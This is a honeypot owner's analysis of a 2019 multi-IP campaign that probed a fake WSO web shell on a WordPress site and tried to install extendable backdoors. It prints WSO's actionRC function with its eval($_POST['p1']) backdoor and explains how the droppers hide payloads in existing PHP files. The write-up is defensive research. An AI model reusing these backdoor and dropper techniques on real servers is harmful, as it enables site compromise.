Skip to content

Latest commit

 

History

History

vigilante.campaign.2

Vigilante Campaign

A Vigilance Committee campaign from many IP addresses, targeting many URLs on my web site. The campaign includes coordinated probing and attacks.

19 HTTP requests from 19 different IP addresses arrived between 2019-06-30T03:58:30.933-0600 and 2019-06-30T04:00:48.697-0600, over a timespan of 2 minutes and 18 seconds. Every request arrived with a cookie with name and value of "227e948fdbaaeccbbb7b3f42fbe848e8", or "7a017e28704d15b0d8efe38606806610" These strings are the result of this hash function:

$auth_token = md5(md5($_SERVER['HTTP_HOST']) . $_SERVER['HTTP_HOST'] . "salt1I*@#31RTds34+543sf");

Some of the HTTP requests use "www.stratigery.com", others use "stratigery.com". The $auth_token hash is appropriate for the host name used in each requst.

This cookie name and value is what the Vigilante Malware Cleaner writes into PHP files it identifies as WSO instances, and that's why I'm identifiying this attack as a Vigilance Committee campaign.

The campaign would have installed 5 v1-01 extendable backdoors, and a file installer backdoor.

Origin IP Addresses

Timestamp From IP address DNS Name From TCP port p0f3 OS guess
2019-06-30T03:58:30.933-0600 192.111.154.98 none 63360 Linux 3.11 and newer
2019-06-30T03:58:32.007-0600 192.185.131.125 mx48.hostgator.mx 10700 Linux 3.11 and newer
2019-06-30T03:59:13.079-0600 115.29.99.145 none 49323 Linux 2.6.x
2019-06-30T03:59:53.019-0600 50.87.144.172 gator3136.hostgator.com 17226 Linux 3.11 and newer
2019-06-30T04:00:33.042-0600 47.254.89.228 none 35294 Linux 3.11 and newer
2019-06-30T04:00:34.109-0600 50.87.144.192 sknnaturals.com 39026 Linux 3.11 and newer
2019-06-30T04:00:34.839-0600 162.251.80.12 cp-1.webhostbox.net 34540 Linux 3.11 and newer
2019-06-30T04:00:35.773-0600 198.57.247.245 gator3281.hostgator.com 24452 Linux 3.11 and newer
2019-06-30T04:00:36.628-0600 94.46.168.170 cp85.webserver.pt 54096 Linux 3.11 and newer
2019-06-30T04:00:38.237-0600 69.89.31.97 box297.bluehost.com 39935 Linux 3.11 and newer
2019-06-30T04:00:38.753-0600 67.220.182.98 zanskar.iabhost.com 43348 Linux 3.11 and newer
2019-06-30T04:00:39.339-0600 108.167.189.44 searscommercial.us 28231 Linux 3.11 and newer
2019-06-30T04:00:41.477-0600 69.195.124.155 box955.bluehost.com 38833 Linux 3.11 and newer
2019-06-30T04:00:43.035-0600 210.211.125.204 none 41648 Linux 3.11 and newer
2019-06-30T04:00:44.099-0600 192.185.2.118 accord.websitewelcome.com 44723 Linux 3.11 and newer
2019-06-30T04:00:45.974-0600 50.87.248.201 box1201.bluehost.com 56105 Linux 3.11 and newer
2019-06-30T04:00:47.275-0600 162.241.244.141 box5202.bluehost.com 58662 Linux 3.11 and newer
2019-06-30T04:00:48.697-0600 192.185.4.87 gator4076.hostgator.com 12388 Linux 3.11 and newer

p0f3 thinks that Linux drives all those IP addresses. The remote TCP port numbers range from 10700 to 63360. This is outside the usual Linux ephemeral port range of 32768 to 60999, both above and below. It's not hard to tune the ephemeral port range, it just isn't done much, I believe.

HTTP headers

From IP address Content-Type Accept-Language Connection User-Agent
192.111.154.98 application/x-www-form-urlencoded en-US,en;q=0.8 close Mozilla/5.0 (Linux; Android 7.0; SAMSUNG SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/5.4 Chrome/51.0.2704.106 Mobile Safari/537.36
192.185.131.125 application/x-www-form-urlencoded en-US,en;q=0.8 close Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36
115.29.99.145 application/x-www-form-urlencoded en-US,en;q=0.8 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36 Edge/15.15063
50.87.144.172 application/x-www-form-urlencoded en-US,en;q=0.8 close Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10
47.254.89.228 application/x-www-form-urlencoded en-US,en;q=0.8 Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_1 like Mac OS X) AppleWebKit/603.1.30 (KHTML, like Gecko) Version/10.0 Mobile/14E304 Safari/602.1
50.87.144.192 application/x-www-form-urlencoded en-US,en;q=0.8 close Mozilla/5.0 (Windows NT 10.0; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0
162.251.80.12 application/x-www-form-urlencoded en-US,en;q=0.8 Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_3 like Mac OS X) AppleWebKit/603.3.8 (KHTML, like Gecko) Version/10.0 Mobile/14G60 Safari/602.1
198.57.247.245 application/x-www-form-urlencoded en-US,en;q=0.8 Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_3 like Mac OS X) AppleWebKit/603.3.8 (KHTML, like Gecko) Version/10.0 Mobile/14G60 Safari/602.1
94.46.168.170 application/x-www-form-urlencoded en-US,en;q=0.8 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36
69.89.31.97 application/x-www-form-urlencoded en-US,en;q=0.8 close Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36
67.220.182.98 application/x-www-form-urlencoded en-US,en;q=0.8 Mozilla/5.0 (iPad; CPU OS 10_3_2 like Mac OS X) AppleWebKit/603.2.4 (KHTML, like Gecko) Version/10.0 Mobile/14F89 Safari/602.1
108.167.189.44 application/x-www-form-urlencoded en-US,en;q=0.8 close Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
69.195.124.155 application/x-www-form-urlencoded en-US,en;q=0.8 close Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36
210.211.125.204 application/x-www-form-urlencoded en-US,en;q=0.8 close Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
192.185.2.118 application/x-www-form-urlencoded en-US,en;q=0.8 close Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36
50.87.248.201 application/x-www-form-urlencoded en-US,en;q=0.8 Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
162.241.244.141 application/x-www-form-urlencoded en-US,en;q=0.8 Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
192.185.4.87 application/x-www-form-urlencoded en-US,en;q=0.8 Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko

Every URL invoked as HTTP/1.0, highly unlikely these are browser requests, they universally use HTTP/1.1 unless told otherwise. It appears that some of the requests came with a "Connection: close" header. That's not at all common to send with HTTP/1.0. All HTTP servers probably ignore it.

All User Agents are probably rubbish, given how easy it is to change it curl or PHP's curl library. Nevertheless, it's interesting that the attacker(s) chose to apparently randomize a choice of 13 different User Agent strings.

HTTP URLs and parameters

Arrival Time From IP Address URL p1 data present RC recon response
2019-06-30T03:58:30.933-0600 192.111.154.98 /wordpress/wp-content/plugins/revslider/temp/update_extract/revslider/ps.php X
2019-06-30T03:58:32.007-0600 192.185.131.125 /wp-content/uploads/2015/11/mod_arcweb.php
2019-06-30T03:59:13.079-0600 115.29.99.145 /wp-content/uploads/2015/11/mod_arcweb.php
2019-06-30T03:59:53.019-0600 50.87.144.172 /wp-content/uploads/2015/11/mod_arcweb.php
2019-06-30T04:00:33.042-0600 47.254.89.228 /blog/wp-content/themes/twentytwelve/404.php X
2019-06-30T04:00:34.109-0600 50.87.144.192 /wordpress/wp-content/plugins/wp-mobile-detector/cache/dbd.php X
2019-06-30T04:00:34.839-0600 162.251.80.12 /wordpress/wp-content/plugins/revslider/temp/update_extract/revslider/db.php X
2019-06-30T04:00:35.773-0600 198.57.247.245 /wp-content/plugins/apikey/settings.php X
2019-06-30T04:00:36.628-0600 94.46.168.170 /wordpress/wp-content/plugins/wp-mobile-detector/cache/db.php X
2019-06-30T04:00:38.237-0600 69.89.31.97 /wordpress/wp-content/plugins/wp-mobile-detector/cache/db.php X
2019-06-30T04:00:38.753-0600 67.220.182.98 /wordpress/wp-content/plugins/revslider/temp/update_extract/revslider/db.php X
2019-06-30T04:00:39.339-0600 108.167.189.44 /blog/wp-content/plugins/wp_bing/wp-ajax.php X
2019-06-30T04:00:41.477-0600 69.195.124.155 /wordpress/wp-content/plugins/revslider/temp/update_extract/revslider/ps.php X
2019-06-30T04:00:43.035-0600 210.211.125.204 /wordpress/wp-content/plugins/revslider/temp/update_extract/revslider/ps.php X
2019-06-30T04:00:44.099-0600 192.185.2.118 /blog/wp-content/themes/twentytwelve/404.php X
2019-06-30T04:00:45.974-0600 50.87.248.201 /wordpress/wp-content/plugins/wp-mobile-detector/cache/dbd.php X
2019-06-30T04:00:47.275-0600 162.241.244.141 /wordpress/wp-content/plugins/revslider/temp/update_extract/revslider/db.php X
2019-06-30T04:00:48.697-0600 192.185.4.87 /wp-content/plugins/apikey/settings.php X

Analysis of HTTP portion of attacks

WSO's RC action is peculiar:

function actionRC()
{
    if (!@$_POST['p1']) {
        $a = array(
			'uname' => php_uname(),
			'php_version' => phpversion(),
			'wso_version' => WSO_VERSION,
			'safemode' => @ini_get('safe_mode')
		);
        echo serialize($a);
    } else {
        eval($_POST['p1']);
    }
}

If WSO gets invoked with just a POST parameter named "a" with a value of "RC", WSO sends back valuable information about the compromised system, what version of PHP it runs, the version of WSO itself.

If WSO gets invoked with a POST parameter named "a" with a value of "RC", and a parameter named "p1" that contains PHP code, that PHP code gets immediately eval'ed.

This invocation of WSO is easily automated with curl (or PHP's curl lib builtins), serves as both quick recon, and an immediate-evaluation backdoor.

My honey pot WSO emulator also emulates a number of other backdoors if it finds it's invoked with specific URLs or with special parameters. The 2019-06-30T03:58:32.007-0600, 2019-06-30T03:59:13.079-0600 and 2019-06-30T03:59:53.019-0600 invocations had a URL ending in mod_arcweb.php. My website is apparently named in some underground "sibpanel" shell lists as compromised with a fack-and-key backdoor. Many IP addresses invoke URLs ending in mod_arcweb.php as a fack-and-key backdoor, usually with a large amount of PHP to run, and they're unusually aggressive about trying and retrying and retrying... In order to not devote my web site as a backup server for these morons, I've put a 120 second delay in my WSO emultor for fack-and-key URLs. This delay apparently made the attacker(s) software think that if WSO was installed at those URLs, it wasn't working, or WSO wasn't installed, or something. It looks like 15 IP address, the attempts from 03:58:30.933-0600 to 4:00:39.339-060 probed for working WSO instances with HTTP parameters named "a", value "RC". Because of dumb luck and poor coding on my part, 3 of those requests failed. The 12 URLs probed-for actually amount to 7 unique URLs:

/blog/wp-content/plugins/wp_bing/wp-ajax.php
/blog/wp-content/themes/twentytwelve/404.php
/wordpress/wp-content/plugins/revslider/temp/update_extract/revslider/db.php
/wordpress/wp-content/plugins/revslider/temp/update_extract/revslider/ps.php
/wordpress/wp-content/plugins/wp-mobile-detector/cache/db.php
/wordpress/wp-content/plugins/wp-mobile-detector/cache/dbd.php
/wp-content/plugins/apikey/settings.php

Unfortunately, there's not a great match between the 7 unique URLs, and the URLs that had code sent to them. Two of the probed-for URLs are missing from the URLs to which code got sent.

/blog/wp-content/themes/twentytwelve/404.php
/wordpress/wp-content/plugins/revslider/temp/update_extract/revslider/db.php
/wordpress/wp-content/plugins/revslider/temp/update_extract/revslider/ps.php
/wordpress/wp-content/plugins/revslider/temp/update_extract/revslider/ps.php
/wordpress/wp-content/plugins/wp-mobile-detector/cache/dbd.php
/wp-content/plugins/apikey/settings.php

Even though it imperfectly matches the facts, I think that the attacker(s) had a list of URLs for what they believed were WSO installations, some of which did not work. They went through the list with one set of attacking machines, keeping track of machines that answered correctly to an HTTP POST with parameter "a" and value "RC". The URLs for WSO instances that answered correctly got passed to a second set of machines. The second set of machines try to download code to the WSO instances that are believed to be in working order.

Analysis of code

Droppers

Five of the code downloads have exactly the same code, less the string assigned to the variable $payload_file. Both droppers are procedural dropper code, similar to the dropper code of the code-in-cookie back door and v1.0-1 extendable backdoor, and more distantly, the object-oriented dropper

Both droppers start at Apache's DocumentRoot, and recursively traverse that directory tree to find suitable files or directories. There's a random selection of the final candidate file or directory.

Five out of six of the droppers "patch" the payload PHP in by prepending 512 ASCII space characters and the payload code to the contents of the candidate file.

The sixth dropper (sent by 210.211.125.204) simply overwrites the contents of the candidate file. The code of the sixth dropper has an easily-modified variable name for the candidate file - it can be modified to use a specific file name in the random directory it chooses, or it can choose a file that alread exists.

Both droppers notify the attacker(s) of the URL at which they can invoke the extendable backdoor with a line of PHP like this:

echo "URL#http://" . $full_uri . PHP_EOL;

Backdoor

In 5 of the 6 code-downloads, the dropper would leave behind v1-01 of the extendable backdoor, all custom-obfuscated for my viewing pleasure. Luckily they can be mostly automatically deobfuscated automatically.

My previous analysis of v1-01 missed the Vigilante cookie. I think I had not found the Vigilante Malware Cleaner when I found v1-01. The v1-01 previous campaign tried to invoke 5 URLs, all different than the URLs for this run:

/wp-content/themes/sketch/404.php
/wp-content/plugins/wp-db-ajax-made/wp-ajax.php
/wp-content/plugins/revslider/temp/update_extract/revslider/info.php
/wp-content/plugins/revslider/temp/update_extract/revslider/info.php
/wordpress/wp-content/uploads/wpallimport/uploads/f2af55ff3d3404c81a296c997348e8d1/db.php

Apparently I didn't notice if the previous v1-01 installation campaign did advance probing for working WSO instances.

Odd man out backdoor

The download from 210.211.125.204 is not a v1-01 extendable backdoor.

The sixth code-download (sent by 210.211.125.204) worked differently. I hand-deobfuscated it, to produce a readable version. The dropper puts the sixth code-download in place, and gives back its URL to the attacker(s). The attackers invoke the sixth code-download with an HTTP POST, and at least one parameter name and value. Each parameter name gets used as an Xor-decoding key of the corresponding value, after the value gets string-reversed and URL-decoded. The result of the Xor-decoding is a serialized PHP key and value. if this key and value are lexically equal, the sixth code download sends back the result of phpversion(). If not, the sixth code download acts as a dropper, finding a randomly-named file somewhere under Apache's DocumentRoot, and writing the deserialized value of the key into that file. Essentially a complicated backdoor that can shotgun PHP files all over the compromised system's HTML/PHP directory tree.

Similar Campaign, 2019-07-12

My honey pot caught a similar campaign 2 weeks after this one. Looks like this style of campaign is something the attacker(s) do regularly.